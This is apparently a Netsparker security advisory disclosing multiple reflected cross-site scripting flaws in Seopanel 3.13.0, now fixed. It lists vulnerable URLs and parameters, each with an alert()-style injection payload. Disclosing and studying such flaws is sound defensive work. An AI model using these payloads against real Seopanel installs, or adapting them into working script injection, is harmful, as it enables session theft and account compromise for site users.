Multiple Reflected Cross-site Scripting Vulnerabilities in Seopanel 3.13.0

Information
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Advisory by Netsparker
Name: Reflected Cross-site Scripting Vulnerabilities in Seopanel
Affected Software: Seopanel
Affected Versions: 3.13.0
Homepage: https://www.seopanel.in
Vulnerability: Multiple Reflected Cross-site Scripting Vulnerabilities
Severity: Medium
Status: Fixed
CVSS Score (3.0): 6.3
Netsparker Advisory Reference: NS-18-022

Technical Details
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URL: https://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?sec=show&nsparameter=aa');alert(1)//
Paremeter Name: nsparameter
Parameter Type: GET
Attack Pattern: aa');alert(1)//

URL: https://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?%27%2balert(0x00BCA2)%2b%27
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: %27%2balert(0x00BCA2)%2b%27

URL: https://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?sec=create&userid=1&name=&url=http%3A%2F%2F&title=%27%252Balert(9)%252B%27&description=&keywords=
Parameter Name: title
Parameter Type: GET
Attack Pattern: %27%252Balert(9)%252B%27

URL: https://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?sec=%2527%2522--%253E%253C%252Fstyle%253E%253C%252FscRipt%253E%253CscRipt%253Ealert%25280x00B7E7%2529%253C%252FscRipt%253E&userid=1&name=&url=http%3A%2F%2F&title=&description=&keywords=
Parameter Name: sec
Parameter Type: GET
Attack Pattern: %2527%2522--%253E%253C%252Fstyle%253E%253C%252FscRipt%253E%253CscRipt%253Ealert%25280x00B7E7%2529%253C%252FscRipt%253E

URL: https://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?search_name=Smith&userid=1&stscheck=3&nsextt=%27%252Balert(9)%252B%27
Parameter Name: nsextt
Parameter Type: GET
Attack Pattern: %27%252Balert(9)%252B%27

URL: https://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?sec=create&userid=1&name=&url=http%3A%2F%2F&title=&description=&keywords=%27%252Balert(9)%252B%27&search_name=&stscheck=select
Parameter Name: keyword
Parameter Type: GET
Attack Pattern:  %27%252Balert(9)%252B%27

URL: https://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?sec=create&userid=1&name=%27%252Balert(9)%252B%27&url=http%3A%2F%2F&title=&description=&keywords=&search_name=&stscheck=select
Parameter Name: name
Parameter Type: GET
Attack Pattern:  %27%252Balert(9)%252B%27

URL: https://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?sec=create&userid=1&name=&url=http%3A%2F%2F&title=&description=&keywords=&search_name=%27%252Balert(9)%252B%27&stscheck=select
Parameter Name: search_name
Parameter Type: GET
Attack Pattern: %27%252Balert(9)%252B%27

URL: https://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?search_name=Smith&userid=1&stscheck=3&%27%2balert(0x0105C0)%2b%27=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: %27%2balert(0x0105C0)%2b%27

URL: https://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?menu_selected=themes-manager&start_script=%27%252Balert(9)%252B%27&sec=activate&theme_id=2&pageno=
Parameter Name: start_script
Parameter Type: GET
Attack Pattern: %27%252Balert(9)%252B%27

URL: https://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?search_name=Smith&userid=%27%252Balert(9)%252B%27&stscheck=3
Parameter Name: userid
Parameter Type: GET
Attack Pattern: %27%252Balert(9)%252B%27

URL: https://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?sec=create&userid=1&name=&url=%27%252Balert(9)%252B%27&title=&description=&keywords=
Parameter Name: url
Parameter Type: GET
Attack Pattern: %27%252Balert(9)%252B%27

URL: https://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?search_name=Smith&userid=1&stscheck=%27%252Balert(9)%252B%27
Parameter Name: stscheck
Parameter Type: GET
Attack Pattern: %27%252Balert(9)%252B%27

URL: https://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?menu_selected=themes-manager&start_script=themes-manager&sec=activate&theme_id=2&pageno=%27%252Balert(9)%252B%27
Parameter Name: pageno
Parameter Type: GET
Attack Pattern: %27%252Balert(9)%252B%27

URL: https://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?sec=create&userid=1&name=&url=http%3A%2F%2F&title=&description=%27%252Balert(9)%252B%27&keywords=
Parameter Name: description
Parameter Type: GET
Attack Pattern:  %27%252Balert(9)%252B%27

URL: https://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?menu_selected=themes-manager&start_script=themes-manager&sec=activate&theme_id=%27%252Balert(9)%252B%27&pageno=
Parameter Name: theme_id
Parameter Type: GET
Attack Pattern:  %27%252Balert(9)%252B%27

URL: https://{DOMAIN}/{PATH-OF-SEOPANEL}/directories.php?sec=directorymgr&dir_name=&stscheck=1&capcheck=x%22%20onmouseover%3dalert(0x00BAF1)%20x%3d%22&pagerank=&langcode=
Parameter Name:  capcheck
Parameter Type: GET
Attack Pattern: x%22%20onmouseover%3dalert(0x00BAF1)%20x%3d%22

URL: https://{DOMAIN}/{PATH-OF-SEOPANEL}/seo-plugins-manager.php?sec=listinfo&pid=1&pageno=x%22%20onmouseover%3dalert(0x00EC00)%20x%3d%22
Parameter Name: pageno
Parameter Type: GET
Attack Pattern: x%22%20onmouseover%3dalert(0x00EC00)%20x%3d%22

URL: https://{DOMAIN}/{PATH-OF-SEOPANEL}/settings.php?category=x%22%20onmouseover%3dalert(0x00B43C)%20x%3d%22
Parameter Name: category
Parameter Type: GET
Attack Pattern: x%22%20onmouseover%3dalert(0x00B43C)%20x%3d%22

URL: https://{DOMAIN}/{PATH-OF-SEOPANEL}/themes-manager.php?sec=activate&theme_id=2&pageno=%27%2balert(0x018E52)%2b%27
Parameter Name: pageno
Parameter Type: GET
Attack Pattern: %27%2balert(0x018E52)%2b%27

URL:  https://{DOMAIN}/{PATH-OF-SEOPANEL}/login.php?sec=forgot
Parameter Name: search_name
Parameter Type: POST
Attack Pattern: x%22+onmouseover%3dnetsparker(0x00497F)+x%3d%22

URL:  https://{DOMAIN}/{PATH-OF-SEOPANEL}/login.php?sec=forgot
Parameter Name: report_type
Parameter Type: POST
Attack Pattern: x%22+onmouseover%3dnetsparker(0x00497F)+x%3d%22

URL: https://testcases-vdb.ns.local:8081/seopanel/seopanel-3.13.0/?'"--></style></scRipt><scRipt>netsparker(0x000CF8)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Patern: '"--></style></scRipt><scRipt>netsparker(0x000CF8)</scRipt>

URL: https://{DOMAIN}/{PATH-OF-SEOPANEL}/index.php?'"--></style></scRipt><scRipt>netsparker(0x000CF8)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Patern:  '"--></style></scRipt><scRipt>netsparker(0x000CF8)</scRipt>

URL: https://{DOMAIN}/{PATH-OF-SEOPANEL}/login.php?sec=forgot
Parameter Name: code
Parameter Type: POST
Attack Patern: x%22+onmouseover%3dnetsparker(0x00497F)+x%3d%22

URL: https://{DOMAIN}/{PATH-OF-SEOPANEL}/login.php?'"--></style></scRipt><scRipt>netsparker(0x000CF8)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Patern: '"--></style></scRipt><scRipt>netsparker(0x000CF8)</scRipt>

URL:  https://{DOMAIN}/{PATH-OF-SEOPANEL}/login.php?sec=forgot
Parameter Name: email
Parameter Type: POST
Attack Patern: x%22+onmouseover%3dnetsparker(0x00497F)+x%3d%22

URL: https://{DOMAIN}/{PATH-OF-SEOPANEL}/support.php?'"--></style></scRipt><scRipt>netsparker(0x000CF8)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Patern: '"--></style></scRipt><scRipt>netsparker(0x000CF8)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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28th June 2018- First Contact
13th September 2018 - Vendor Fixed
30th November 2018 - Advisory Released

Credits & Authors
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These issues have been discovered by Zekvan Arslan while testing Netsparker Web Application Security Scanner.

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